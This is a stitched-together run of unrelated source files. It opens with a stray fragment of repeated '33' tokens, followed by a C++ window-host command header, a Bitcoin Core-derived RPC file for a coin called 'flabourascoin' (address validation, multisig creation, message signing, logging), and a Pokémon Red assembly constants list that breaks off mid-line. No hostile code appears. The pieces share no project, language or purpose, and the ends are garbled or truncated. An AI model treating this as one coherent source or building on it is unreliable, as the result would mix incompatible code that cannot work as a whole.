33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
// // Copyright (c) 2018 Johan Sköld // License: https://opensource.org/licenses/ISC // #pragma once #include <pantryman/host.hpp> #include <pantryman/window.hpp> #include "cmdbuffer.hpp" namespace pm { constexpr uint16_t MAX_WINDOW_TITLE_LEN = 255; struct CallbackArgs { uint16_t index; ExecuteFn function; void* userPointer; }; struct CreateWindowArgs { WindowHandle handle; uint16_t width; uint16_t height; WindowState state; WindowStyle style; char title[MAX_WINDOW_TITLE_LEN + 1]; }; struct ExecuteArgs { ExecuteFn function; void* userPointer; }; struct WindowSizeArgs { WindowHandle handle; uint16_t width; uint16_t height; }; struct WindowStateArgs { WindowHandle handle; WindowState state; }; struct WindowStyleArgs { WindowHandle handle; WindowStyle style; }; struct HostCommand { enum Type : uint16_t { CREATE_WINDOW, DESTROY_WINDOW, EXECUTE, SET_CALLBACK, SET_WINDOW_SIZE, SET_WINDOW_STATE, SET_WINDOW_STYLE, STOP, }; Type type; union { CallbackArgs callback; CreateWindowArgs createWindow; ExecuteArgs execute; WindowHandle windowHandle; WindowSizeArgs windowSize; WindowStateArgs windowState; WindowStyleArgs windowStyle; }; HostCommand(); }; class HostCommands { public: HostCommands(); // Consumer bool nextCommand(HostCommand* cmd); // Producer void sendCreateWindow(WindowHandle handle, const WindowParams& params); void sendDestroyWindow(WindowHandle handle); void sendExecute(ExecuteFn function, void* userPointer); void sendSetCallback(uint16_t index, ExecuteFn function, void* userPointer); void sendSetWindowSize(WindowHandle handle, uint16_t width, uint16_t height); void sendSetWindowState(WindowHandle handle, WindowState state); void sendSetWindowStyle(WindowHandle handle, WindowStyle style); void sendStop(); private: CmdBufferSpSc m_buffer; }; } // namespace pm
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2017 The Bitcoin Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include <base58.h> #include <chain.h> #include <clientversion.h> #include <core_io.h> #include <crypto/ripemd160.h> #include <init.h> #include <validation.h> #include <httpserver.h> #include <net.h> #include <netbase.h> #include <rpc/blockchain.h> #include <rpc/server.h> #include <rpc/util.h> #include <timedata.h> #include <util.h> #include <utilstrencodings.h> #ifdef ENABLE_WALLET #include <wallet/rpcwallet.h> #include <wallet/wallet.h> #include <wallet/walletdb.h> #endif #include <warnings.h> #include <stdint.h> #ifdef HAVE_MALLOC_INFO #include <malloc.h> #endif #include <univalue.h> #ifdef ENABLE_WALLET class DescribeAddressVisitor : public boost::static_visitor<UniValue> { public: CWallet * const pwallet; explicit DescribeAddressVisitor(CWallet *_pwallet) : pwallet(_pwallet) {} void ProcessSubScript(const CScript& subscript, UniValue& obj, bool include_addresses = false) const { // Always present: script type and redeemscript txnouttype which_type; std::vector<std::vector<unsigned char>> solutions_data; Solver(subscript, which_type, solutions_data); obj.pushKV("script", GetTxnOutputType(which_type)); obj.pushKV("hex", HexStr(subscript.begin(), subscript.end())); CTxDestination embedded; UniValue a(UniValue::VARR); if (ExtractDestination(subscript, embedded)) { // Only when the script corresponds to an address. UniValue subobj = boost::apply_visitor(*this, embedded); subobj.pushKV("address", EncodeDestination(embedded)); subobj.pushKV("scriptPubKey", HexStr(subscript.begin(), subscript.end())); // Always report the pubkey at the top level, so that `getnewaddress()['pubkey']` always works. if (subobj.exists("pubkey")) obj.pushKV("pubkey", subobj["pubkey"]); obj.pushKV("embedded", std::move(subobj)); if (include_addresses) a.push_back(EncodeDestination(embedded)); } else if (which_type == TX_MULTISIG) { // Also report some information on multisig scripts (which do not have a corresponding address). // TODO: abstract out the common functionality between this logic and ExtractDestinations. obj.pushKV("sigsrequired", solutions_data[0][0]); UniValue pubkeys(UniValue::VARR); for (size_t i = 1; i < solutions_data.size() - 1; ++i) { CPubKey key(solutions_data[i].begin(), solutions_data[i].end()); if (include_addresses) a.push_back(EncodeDestination(key.GetID())); pubkeys.push_back(HexStr(key.begin(), key.end())); } obj.pushKV("pubkeys", std::move(pubkeys)); } // The "addresses" field is confusing because it refers to public keys using their P2PKH address. // For that reason, only add the 'addresses' field when needed for backward compatibility. New applications // can use the 'embedded'->'address' field for P2SH or P2WSH wrapped addresses, and 'pubkeys' for // inspecting multisig participants. if (include_addresses) obj.pushKV("addresses", std::move(a)); } UniValue operator()(const CNoDestination &dest) const { return UniValue(UniValue::VOBJ); } UniValue operator()(const CKeyID &keyID) const { UniValue obj(UniValue::VOBJ); CPubKey vchPubKey; obj.push_back(Pair("isscript", false)); obj.push_back(Pair("iswitness", false)); if (pwallet && pwallet->GetPubKey(keyID, vchPubKey)) { obj.push_back(Pair("pubkey", HexStr(vchPubKey))); obj.push_back(Pair("iscompressed", vchPubKey.IsCompressed())); } return obj; } UniValue operator()(const CScriptID &scriptID) const { UniValue obj(UniValue::VOBJ); CScript subscript; obj.push_back(Pair("isscript", true)); obj.push_back(Pair("iswitness", false)); if (pwallet && pwallet->GetCScript(scriptID, subscript)) { ProcessSubScript(subscript, obj, true); } return obj; } UniValue operator()(const WitnessV0KeyHash& id) const { UniValue obj(UniValue::VOBJ); CPubKey pubkey; obj.push_back(Pair("isscript", false)); obj.push_back(Pair("iswitness", true)); obj.push_back(Pair("witness_version", 0)); obj.push_back(Pair("witness_program", HexStr(id.begin(), id.end()))); if (pwallet && pwallet->GetPubKey(CKeyID(id), pubkey)) { obj.push_back(Pair("pubkey", HexStr(pubkey))); } return obj; } UniValue operator()(const WitnessV0ScriptHash& id) const { UniValue obj(UniValue::VOBJ); CScript subscript; obj.push_back(Pair("isscript", true)); obj.push_back(Pair("iswitness", true)); obj.push_back(Pair("witness_version", 0)); obj.push_back(Pair("witness_program", HexStr(id.begin(), id.end()))); CRIPEMD160 hasher; uint160 hash; hasher.Write(id.begin(), 32).Finalize(hash.begin()); if (pwallet && pwallet->GetCScript(CScriptID(hash), subscript)) { ProcessSubScript(subscript, obj); } return obj; } UniValue operator()(const WitnessUnknown& id) const { UniValue obj(UniValue::VOBJ); CScript subscript; obj.push_back(Pair("iswitness", true)); obj.push_back(Pair("witness_version", (int)id.version)); obj.push_back(Pair("witness_program", HexStr(id.program, id.program + id.length))); return obj; } }; #endif UniValue validateaddress(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "validateaddress \"address\"\n" "\nReturn information about the given flabourascoin address.\n" "\nArguments:\n" "1. \"address\" (string, required) The flabourascoin address to validate\n" "\nResult:\n" "{\n" " \"isvalid\" : true|false, (boolean) If the address is valid or not. If not, this is the only property returned.\n" " \"address\" : \"address\", (string) The flabourascoin address validated\n" " \"scriptPubKey\" : \"hex\", (string) The hex encoded scriptPubKey generated by the address\n" " \"ismine\" : true|false, (boolean) If the address is yours or not\n" " \"iswatchonly\" : true|false, (boolean) If the address is watchonly\n" " \"isscript\" : true|false, (boolean, optional) If the address is P2SH or P2WSH. Not included for unknown witness types.\n" " \"iswitness\" : true|false, (boolean) If the address is P2WPKH, P2WSH, or an unknown witness version\n" " \"witness_version\" : version (number, optional) For all witness output types, gives the version number.\n" " \"witness_program\" : \"hex\" (string, optional) For all witness output types, gives the script or key hash present in the address.\n" " \"script\" : \"type\" (string, optional) The output script type. Only if \"isscript\" is true and the redeemscript is known. Possible types: nonstandard, pubkey, pubkeyhash, scripthash, multisig, nulldata, witness_v0_keyhash, witness_v0_scripthash, witness_unknown\n" " \"hex\" : \"hex\", (string, optional) The redeemscript for the P2SH or P2WSH address\n" " \"addresses\" (string, optional) Array of addresses associated with the known redeemscript (only if \"iswitness\" is false). This field is superseded by the \"pubkeys\" field and the address inside \"embedded\".\n" " [\n" " \"address\"\n" " ,...\n" " ]\n" " \"pubkeys\" (string, optional) Array of pubkeys associated with the known redeemscript (only if \"script\" is \"multisig\")\n" " [\n" " \"pubkey\"\n" " ,...\n" " ]\n" " \"sigsrequired\" : xxxxx (numeric, optional) Number of signatures required to spend multisig output (only if \"script\" is \"multisig\")\n" " \"pubkey\" : \"publickeyhex\", (string, optional) The hex value of the raw public key, for single-key addresses (possibly embedded in P2SH or P2WSH)\n" " \"embedded\" : {...}, (object, optional) information about the address embedded in P2SH or P2WSH, if relevant and known. It includes all validateaddress output fields for the embedded address, excluding \"isvalid\", metadata (\"timestamp\", \"hdkeypath\", \"hdmasterkeyid\") and relation to the wallet (\"ismine\", \"iswatchonly\", \"account\").\n" " \"iscompressed\" : true|false, (boolean) If the address is compressed\n" " \"account\" : \"account\" (string) DEPRECATED. The account associated with the address, \"\" is the default account\n" " \"timestamp\" : timestamp, (number, optional) The creation time of the key if available in seconds since epoch (Jan 1 1970 GMT)\n" " \"hdkeypath\" : \"keypath\" (string, optional) The HD keypath if the key is HD and available\n" " \"hdmasterkeyid\" : \"<hash160>\" (string, optional) The Hash160 of the HD master pubkey\n" "}\n" "\nExamples:\n" + HelpExampleCli("validateaddress", "\"LER4HnAEFwYHbmGxCfP2po1nPrUeiK8KM2\"") + HelpExampleRpc("validateaddress", "\"LER4HnAEFwYHbmGxCfP2po1nPrUeiK8KM2\"") ); #ifdef ENABLE_WALLET CWallet * const pwallet = GetWalletForJSONRPCRequest(request); LOCK2(cs_main, pwallet ? &pwallet->cs_wallet : nullptr); #else LOCK(cs_main); #endif CTxDestination dest = DecodeDestination(request.params[0].get_str()); bool isValid = IsValidDestination(dest); UniValue ret(UniValue::VOBJ); ret.push_back(Pair("isvalid", isValid)); if (isValid) { std::string currentAddress = EncodeDestination(dest); ret.push_back(Pair("address", currentAddress)); CScript scriptPubKey = GetScriptForDestination(dest); ret.push_back(Pair("scriptPubKey", HexStr(scriptPubKey.begin(), scriptPubKey.end()))); #ifdef ENABLE_WALLET isminetype mine = pwallet ? IsMine(*pwallet, dest) : ISMINE_NO; ret.push_back(Pair("ismine", bool(mine & ISMINE_SPENDABLE))); ret.push_back(Pair("iswatchonly", bool(mine & ISMINE_WATCH_ONLY))); UniValue detail = boost::apply_visitor(DescribeAddressVisitor(pwallet), dest); ret.pushKVs(detail); if (pwallet && pwallet->mapAddressBook.count(dest)) { ret.push_back(Pair("account", pwallet->mapAddressBook[dest].name)); } if (pwallet) { const CKeyMetadata* meta = nullptr; CKeyID key_id = GetKeyForDestination(*pwallet, dest); if (!key_id.IsNull()) { auto it = pwallet->mapKeyMetadata.find(key_id); if (it != pwallet->mapKeyMetadata.end()) { meta = &it->second; } } if (!meta) { auto it = pwallet->m_script_metadata.find(CScriptID(scriptPubKey)); if (it != pwallet->m_script_metadata.end()) { meta = &it->second; } } if (meta) { ret.push_back(Pair("timestamp", meta->nCreateTime)); if (!meta->hdKeypath.empty()) { ret.push_back(Pair("hdkeypath", meta->hdKeypath)); ret.push_back(Pair("hdmasterkeyid", meta->hdMasterKeyID.GetHex())); } } } #endif } return ret; } // Needed even with !ENABLE_WALLET, to pass (ignored) pointers around class CWallet; UniValue createmultisig(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() < 2 || request.params.size() > 2) { std::string msg = "createmultisig nrequired [\"key\",...]\n" "\nCreates a multi-signature address with n signature of m keys required.\n" "It returns a json object with the address and redeemScript.\n" "DEPRECATION WARNING: Using addresses with createmultisig is deprecated. Clients must\n" "transition to using addmultisigaddress to create multisig addresses with addresses known\n" "to the wallet before upgrading to v0.17. To use the deprecated functionality, start flabourascoind with -deprecatedrpc=createmultisig\n" "\nArguments:\n" "1. nrequired (numeric, required) The number of required signatures out of the n keys or addresses.\n" "2. \"keys\" (string, required) A json array of hex-encoded public keys\n" " [\n" " \"key\" (string) The hex-encoded public key\n" " ,...\n" " ]\n" "\nResult:\n" "{\n" " \"address\":\"multisigaddress\", (string) The value of the new multisig address.\n" " \"redeemScript\":\"script\" (string) The string value of the hex-encoded redemption script.\n" "}\n" "\nExamples:\n" "\nCreate a multisig address from 2 public keys\n" + HelpExampleCli("createmultisig", "2 \"[\\\"03789ed0bb717d88f7d321a368d905e7430207ebbd82bd342cf11ae157a7ace5fd\\\",\\\"03dbc6764b8884a92e871274b87583e6d5c2a58819473e17e107ef3f6aa5a61626\\\"]\"") + "\nAs a json rpc call\n" + HelpExampleRpc("createmultisig", "2, \"[\\\"03789ed0bb717d88f7d321a368d905e7430207ebbd82bd342cf11ae157a7ace5fd\\\",\\\"03dbc6764b8884a92e871274b87583e6d5c2a58819473e17e107ef3f6aa5a61626\\\"]\"") ; throw std::runtime_error(msg); } int required = request.params[0].get_int(); // Get the public keys const UniValue& keys = request.params[1].get_array(); std::vector<CPubKey> pubkeys; for (unsigned int i = 0; i < keys.size(); ++i) { if (IsHex(keys[i].get_str()) && (keys[i].get_str().length() == 66 || keys[i].get_str().length() == 130)) { pubkeys.push_back(HexToPubKey(keys[i].get_str())); } else { #ifdef ENABLE_WALLET CWallet* const pwallet = GetWalletForJSONRPCRequest(request); if (IsDeprecatedRPCEnabled("createmultisig") && EnsureWalletIsAvailable(pwallet, false)) { pubkeys.push_back(AddrToPubKey(pwallet, keys[i].get_str())); } else #endif throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, strprintf("Invalid public key: %s\nNote that from v0.16, createmultisig no longer accepts addresses." " Clients must transition to using addmultisigaddress to create multisig addresses with addresses known to the wallet before upgrading to v0.17." " To use the deprecated functionality, start flabourascoind with -deprecatedrpc=createmultisig", keys[i].get_str())); } } // Construct using pay-to-script-hash: CScript inner = CreateMultisigRedeemscript(required, pubkeys); CScriptID innerID(inner); UniValue result(UniValue::VOBJ); result.push_back(Pair("address", EncodeDestination(innerID))); result.push_back(Pair("redeemScript", HexStr(inner.begin(), inner.end()))); return result; } UniValue verifymessage(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() != 3) throw std::runtime_error( "verifymessage \"address\" \"signature\" \"message\"\n" "\nVerify a signed message\n" "\nArguments:\n" "1. \"address\" (string, required) The flabourascoin address to use for the signature.\n" "2. \"signature\" (string, required) The signature provided by the signer in base 64 encoding (see signmessage).\n" "3. \"message\" (string, required) The message that was signed.\n" "\nResult:\n" "true|false (boolean) If the signature is verified or not.\n" "\nExamples:\n" "\nUnlock the wallet for 30 seconds\n" + HelpExampleCli("walletpassphrase", "\"mypassphrase\" 30") + "\nCreate the signature\n" + HelpExampleCli("signmessage", "\"LEr4hNAefWYhBMgxCFP2Po1NPrUeiK8kM2\" \"my message\"") + "\nVerify the signature\n" + HelpExampleCli("verifymessage", "\"LEr4hNAefWYhBMgxCFP2Po1NPrUeiK8kM2\" \"signature\" \"my message\"") + "\nAs json rpc\n" + HelpExampleRpc("verifymessage", "\"LEr4hNAefWYhBMgxCFP2Po1NPrUeiK8kM2\", \"signature\", \"my message\"") ); LOCK(cs_main); std::string strAddress = request.params[0].get_str(); std::string strSign = request.params[1].get_str(); std::string strMessage = request.params[2].get_str(); CTxDestination destination = DecodeDestination(strAddress); if (!IsValidDestination(destination)) { throw JSONRPCError(RPC_TYPE_ERROR, "Invalid address"); } const CKeyID *keyID = boost::get<CKeyID>(&destination); if (!keyID) { throw JSONRPCError(RPC_TYPE_ERROR, "Address does not refer to key"); } bool fInvalid = false; std::vector<unsigned char> vchSig = DecodeBase64(strSign.c_str(), &fInvalid); if (fInvalid) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Malformed base64 encoding"); CHashWriter ss(SER_GETHASH, 0); ss << strMessageMagic; ss << strMessage; CPubKey pubkey; if (!pubkey.RecoverCompact(ss.GetHash(), vchSig)) return false; return (pubkey.GetID() == *keyID); } UniValue signmessagewithprivkey(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() != 2) throw std::runtime_error( "signmessagewithprivkey \"privkey\" \"message\"\n" "\nSign a message with the private key of an address\n" "\nArguments:\n" "1. \"privkey\" (string, required) The private key to sign the message with.\n" "2. \"message\" (string, required) The message to create a signature of.\n" "\nResult:\n" "\"signature\" (string) The signature of the message encoded in base 64\n" "\nExamples:\n" "\nCreate the signature\n" + HelpExampleCli("signmessagewithprivkey", "\"privkey\" \"my message\"") + "\nVerify the signature\n" + HelpExampleCli("verifymessage", "\"LEr4hNAefWYhBMgxCFP2Po1NPrUeiK8kM2\" \"signature\" \"my message\"") + "\nAs json rpc\n" + HelpExampleRpc("signmessagewithprivkey", "\"privkey\", \"my message\"") ); std::string strPrivkey = request.params[0].get_str(); std::string strMessage = request.params[1].get_str(); CBitcoinSecret vchSecret; bool fGood = vchSecret.SetString(strPrivkey); if (!fGood) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid private key"); CKey key = vchSecret.GetKey(); if (!key.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Private key outside allowed range"); CHashWriter ss(SER_GETHASH, 0); ss << strMessageMagic; ss << strMessage; std::vector<unsigned char> vchSig; if (!key.SignCompact(ss.GetHash(), vchSig)) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Sign failed"); return EncodeBase64(vchSig.data(), vchSig.size()); } UniValue setmocktime(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "setmocktime timestamp\n" "\nSet the local time to given timestamp (-regtest only)\n" "\nArguments:\n" "1. timestamp (integer, required) Unix seconds-since-epoch timestamp\n" " Pass 0 to go back to using the system time." ); if (!Params().MineBlocksOnDemand()) throw std::runtime_error("setmocktime for regression testing (-regtest mode) only"); // For now, don't change mocktime if we're in the middle of validation, as // this could have an effect on mempool time-based eviction, as well as // IsCurrentForFeeEstimation() and IsInitialBlockDownload(). // TODO: figure out the right way to synchronize around mocktime, and // ensure all call sites of GetTime() are accessing this safely. LOCK(cs_main); RPCTypeCheck(request.params, {UniValue::VNUM}); SetMockTime(request.params[0].get_int64()); return NullUniValue; } static UniValue RPCLockedMemoryInfo() { LockedPool::Stats stats = LockedPoolManager::Instance().stats(); UniValue obj(UniValue::VOBJ); obj.push_back(Pair("used", uint64_t(stats.used))); obj.push_back(Pair("free", uint64_t(stats.free))); obj.push_back(Pair("total", uint64_t(stats.total))); obj.push_back(Pair("locked", uint64_t(stats.locked))); obj.push_back(Pair("chunks_used", uint64_t(stats.chunks_used))); obj.push_back(Pair("chunks_free", uint64_t(stats.chunks_free))); return obj; } #ifdef HAVE_MALLOC_INFO static std::string RPCMallocInfo() { char *ptr = nullptr; size_t size = 0; FILE *f = open_memstream(&ptr, &size); if (f) { malloc_info(0, f); fclose(f); if (ptr) { std::string rv(ptr, size); free(ptr); return rv; } } return ""; } #endif UniValue getmemoryinfo(const JSONRPCRequest& request) { /* Please, avoid using the word "pool" here in the RPC interface or help, * as users will undoubtedly confuse it with the other "memory pool" */ if (request.fHelp || request.params.size() > 1) throw std::runtime_error( "getmemoryinfo (\"mode\")\n" "Returns an object containing information about memory usage.\n" "Arguments:\n" "1. \"mode\" determines what kind of information is returned. This argument is optional, the default mode is \"stats\".\n" " - \"stats\" returns general statistics about memory usage in the daemon.\n" " - \"mallocinfo\" returns an XML string describing low-level heap state (only available if compiled with glibc 2.10+).\n" "\nResult (mode \"stats\"):\n" "{\n" " \"locked\": { (json object) Information about locked memory manager\n" " \"used\": xxxxx, (numeric) Number of bytes used\n" " \"free\": xxxxx, (numeric) Number of bytes available in current arenas\n" " \"total\": xxxxxxx, (numeric) Total number of bytes managed\n" " \"locked\": xxxxxx, (numeric) Amount of bytes that succeeded locking. If this number is smaller than total, locking pages failed at some point and key data could be swapped to disk.\n" " \"chunks_used\": xxxxx, (numeric) Number allocated chunks\n" " \"chunks_free\": xxxxx, (numeric) Number unused chunks\n" " }\n" "}\n" "\nResult (mode \"mallocinfo\"):\n" "\"<malloc version=\"1\">...\"\n" "\nExamples:\n" + HelpExampleCli("getmemoryinfo", "") + HelpExampleRpc("getmemoryinfo", "") ); std::string mode = request.params[0].isNull() ? "stats" : request.params[0].get_str(); if (mode == "stats") { UniValue obj(UniValue::VOBJ); obj.push_back(Pair("locked", RPCLockedMemoryInfo())); return obj; } else if (mode == "mallocinfo") { #ifdef HAVE_MALLOC_INFO return RPCMallocInfo(); #else throw JSONRPCError(RPC_INVALID_PARAMETER, "mallocinfo is only available when compiled with glibc 2.10+"); #endif } else { throw JSONRPCError(RPC_INVALID_PARAMETER, "unknown mode " + mode); } } uint32_t getCategoryMask(UniValue cats) { cats = cats.get_array(); uint32_t mask = 0; for (unsigned int i = 0; i < cats.size(); ++i) { uint32_t flag = 0; std::string cat = cats[i].get_str(); if (!GetLogCategory(&flag, &cat)) { throw JSONRPCError(RPC_INVALID_PARAMETER, "unknown logging category " + cat); } if (flag == BCLog::NONE) { return 0; } mask |= flag; } return mask; } UniValue logging(const JSONRPCRequest& request) { if (request.fHelp || request.params.size() > 2) { throw std::runtime_error( "logging ( <include> <exclude> )\n" "Gets and sets the logging configuration.\n" "When called without an argument, returns the list of categories with status that are currently being debug logged or not.\n" "When called with arguments, adds or removes categories from debug logging and return the lists above.\n" "The arguments are evaluated in order \"include\", \"exclude\".\n" "If an item is both included and excluded, it will thus end up being excluded.\n" "The valid logging categories are: " + ListLogCategories() + "\n" "In addition, the following are available as category names with special meanings:\n" " - \"all\", \"1\" : represent all logging categories.\n" " - \"none\", \"0\" : even if other logging categories are specified, ignore all of them.\n" "\nArguments:\n" "1. \"include\" (array of strings, optional) A json array of categories to add debug logging\n" " [\n" " \"category\" (string) the valid logging category\n" " ,...\n" " ]\n" "2. \"exclude\" (array of strings, optional) A json array of categories to remove debug logging\n" " [\n" " \"category\" (string) the valid logging category\n" " ,...\n" " ]\n" "\nResult:\n" "{ (json object where keys are the logging categories, and values indicates its status\n" " \"category\": 0|1, (numeric) if being debug logged or not. 0:inactive, 1:active\n" " ...\n" "}\n" "\nExamples:\n" + HelpExampleCli("logging", "\"[\\\"all\\\"]\" \"[\\\"http\\\"]\"") + HelpExampleRpc("logging", "[\"all\"], \"[libevent]\"") ); } uint32_t originalLogCategories = logCategories; if (request.params[0].isArray()) { logCategories |= getCategoryMask(request.params[0]); } if (request.params[1].isArray()) { logCategories &= ~getCategoryMask(request.params[1]); } // Update libevent logging if BCLog::LIBEVENT has changed. // If the library version doesn't allow it, UpdateHTTPServerLogging() returns false, // in which case we should clear the BCLog::LIBEVENT flag. // Throw an error if the user has explicitly asked to change only the libevent // flag and it failed. uint32_t changedLogCategories = originalLogCategories ^ logCategories; if (changedLogCategories & BCLog::LIBEVENT) { if (!UpdateHTTPServerLogging(logCategories & BCLog::LIBEVENT)) { logCategories &= ~BCLog::LIBEVENT; if (changedLogCategories == BCLog::LIBEVENT) { throw JSONRPCError(RPC_INVALID_PARAMETER, "libevent logging cannot be updated when using libevent before v2.1.1."); } } } UniValue result(UniValue::VOBJ); std::vector<CLogCategoryActive> vLogCatActive = ListActiveLogCategories(); for (const auto& logCatActive : vLogCatActive) { result.pushKV(logCatActive.category, logCatActive.active); } return result; } UniValue echo(const JSONRPCRequest& request) { if (request.fHelp) throw std::runtime_error( "echo|echojson \"message\" ...\n" "\nSimply echo back the input arguments. This command is for testing.\n" "\nThe difference between echo and echojson is that echojson has argument conversion enabled in the client-side table in" "flabourascoin-cli and the GUI. There is no server-side difference." ); return request.params; } static UniValue getinfo_deprecated(const JSONRPCRequest& request) { throw JSONRPCError(RPC_METHOD_NOT_FOUND, "getinfo\n" "\nThis call was removed in version 0.16.0. Use the appropriate fields from:\n" "- getblockchaininfo: blocks, difficulty, chain\n" "- getnetworkinfo: version, protocolversion, timeoffset, connections, proxy, relayfee, warnings\n" "- getwalletinfo: balance, keypoololdest, keypoolsize, paytxfee, unlocked_until, walletversion\n" "\nflabourascoin-cli has the option -getinfo to collect and format these in the old format." ); } static const CRPCCommand commands[] = { // category name actor (function) argNames // --------------------- ------------------------ ----------------------- ---------- { "control", "getmemoryinfo", &getmemoryinfo, {"mode"} }, { "control", "logging", &logging, {"include", "exclude"}}, { "util", "validateaddress", &validateaddress, {"address"} }, /* uses wallet if enabled */ { "util", "createmultisig", &createmultisig, {"nrequired","keys"} }, { "util", "verifymessage", &verifymessage, {"address","signature","message"} }, { "util", "signmessagewithprivkey", &signmessagewithprivkey, {"privkey","message"} }, /* Not shown in help */ { "hidden", "setmocktime", &setmocktime, {"timestamp"}}, { "hidden", "echo", &echo, {"arg0","arg1","arg2","arg3","arg4","arg5","arg6","arg7","arg8","arg9"}}, { "hidden", "echojson", &echo, {"arg0","arg1","arg2","arg3","arg4","arg5","arg6","arg7","arg8","arg9"}}, { "hidden", "getinfo", &getinfo_deprecated, {}}, }; void RegisterMiscRPCCommands(CRPCTable &t) { for (unsigned int vcidx = 0; vcidx < ARRAYLEN(commands); vcidx++) t.appendCommand(commands[vcidx].name, &commands[vcidx]); }
HIDE EQU $11 SHOW EQU $15 ; MissableObjects indexes (see data/maps/hide_show_data.asm) ; this is a list of the sprites that can be enabled/disabled during the game ; sprites marked with an X are constants that are never used ; because those sprites are not (de)activated in a map's script ; (they are either items or sprites that deactivate after battle ; and are detected in wMissableObjectList) const_def const HS_PALLET_TOWN_OAK ; 00 const HS_LYING_OLD_MAN ; 01 const HS_OLD_MAN ; 02 const HS_MUSEUM_GUY ; 03 const HS_GYM_GUY ; 04 const HS_CERULEAN_RIVAL ; 05 const HS_CERULEAN_ROCKET ; 06 const HS_CERULEAN_GUARD_1 ; 07 const HS_CERULEAN_CAVE_GUY ; 08 const HS_CERULEAN_GUARD_2 ; 09 const HS_SAFFRON_CITY_1 ; 0A const HS_SAFFRON_CITY_2 ; 0B const HS_SAFFRON_CITY_3 ; 0C const HS_SAFFRON_CITY_4 ; 0D const HS_SAFFRON_CITY_5 ; 0E const HS_SAFFRON_CITY_6 ; 0F const HS_SAFFRON_CITY_7 ; 10 const HS_SAFFRON_CITY_8 ; 11 const HS_SAFFRON_CITY_9 ; 12 const HS_SAFFRON_CITY_A ; 13 const HS_SAFFRON_CITY_B ; 14 const HS_SAFFRON_CITY_C ; 15 const HS_SAFFRON_CITY_D ; 16 const HS_SAFFRON_CITY_E ; 17 const HS_SAFFRON_CITY_F ; 18 const HS_ROUTE_2_ITEM_1 ; 19 X const HS_ROUTE_2_ITEM_2 ; 1A X const HS_ROUTE_4_ITEM ; 1B X const HS_ROUTE_9_ITEM ; 1C X const HS_ROUTE_12_SNORLAX ; 1D const HS_ROUTE_12_ITEM_1 ; 1E X const HS_ROUTE_12_ITEM_2 ; 1F X const HS_ROUTE_15_ITEM ; 20 X const HS_ROUTE_16_SNORLAX ; 21 const HS_ROUTE_22_RIVAL_1 ; 22 const HS_ROUTE_22_RIVAL_2 ; 23 const HS_NUGGET_BRIDGE_GUY ; 24 const HS_ROUTE_24_ITEM ; 25 X const HS_ROUTE_25_ITEM ; 26 X const HS_DAISY_SITTING ; 27 const HS_DAISY_WALKING ; 28 const HS_TOWN_MAP ; 29 const HS_OAKS_LAB_RIVAL ; 2A const HS_STARTER_BALL_1 ; 2B const HS_STARTER_BALL_2 ; 2C const HS_STARTER_BALL_3 ; 2D const HS_OAKS_LAB_OAK_1 ; 2E const HS_POKEDEX_1 ; 2F const HS_POKEDEX_2 ; 30 const HS_OAKS_LAB_OAK_2 ; 31 const HS_VIRIDIAN_GYM_GIOVANNI ; 32 const HS_VIRIDIAN_GYM_ITEM ; 33 X const HS_OLD_AMBER ; 34 const HS_CERULEAN_CAVE_1F_ITEM_1 ; 35 X const HS_CERULEAN_CAVE_1F_ITEM_2 ; 36 X const HS_CERULEAN_CAVE_1F_ITEM_3 ; 37 X const HS_POKEMON_TOWER_2F_RIVAL ; 38 const HS_POKEMON_TOWER_3F_ITEM ; 39 X const HS_POKEMON_TOWER_4F_ITEM_1 ; 3A X const HS_POKEMON_TOWER_4F_ITEM_2 ; 3B X const HS_POKEMON_TOWER_4F_ITEM_3 ; 3C X const HS_POKEMON_TOWER_5F_ITEM ; 3D X const HS_POKEMON_TOWER_6F_ITEM_1 ; 3E X const HS_POKEMON_TOWER_6F_ITEM_2 ; 3F X const HS_POKEMON_TOWER_7F_ROCKET_1 ; 40 X const HS_POKEMON_TOWER_7F_ROCKET_2 ; 41 X const HS_POKEMON_TOWER_7F_ROCKET_3 ; 42 X const HS_POKEMON_TOWER_7F_MR_FUJI ; 43 const HS_MR_FUJIS_HOUSE_MR_FUJI ; 44 const HS_CELADON_MANSION_EEVEE_GIFT ; 45 const HS_GAME_CORNER_ROCKET ; 46 const HS_WARDENS_HOUSE_ITEM ; 47 X const HS_POKEMON_MANSION_1F_ITEM_1 ; 48 X const HS_POKEMON_MANSION_1F_ITEM_2 ; 49 X const HS_FIGHTING_DOJO_GIFT_1 ; 4A const HS_FIGHTING_DOJO_GIFT_2 ; 4B const HS_SILPH_CO_1F_RECEPTIONIST ; 4C const HS_VOLTORB_1 ; 4D X const HS_VOLTORB_2 ; 4E X const HS_VOLTORB_3 ; 4F X const HS_ELECTRODE_1 ; 50 X const HS_VOLTORB_4 ; 51 X const HS_VOLTORB_5 ; 52 X const HS_ELECTRODE_2 ; 53 X const HS_VOLTORB_6 ; 54 X const HS_ZAPDOS ; 55 X const HS_POWER_PLANT_ITEM_1 ; 56 X const HS_POWER_PLANT_ITEM_2 ; 57 X const HS_POWER_PLANT_ITEM_3 ; 58 X const HS_POWER_PLANT_ITEM_4 ; 59 X const HS_POWER_PLANT_ITEM_5 ; 5A X const HS_MOLTRES ; 5B X const HS_VICTORY_ROAD_2F_ITEM_1 ; 5C X const HS_VICTORY_ROAD_2F_ITEM_2 ; 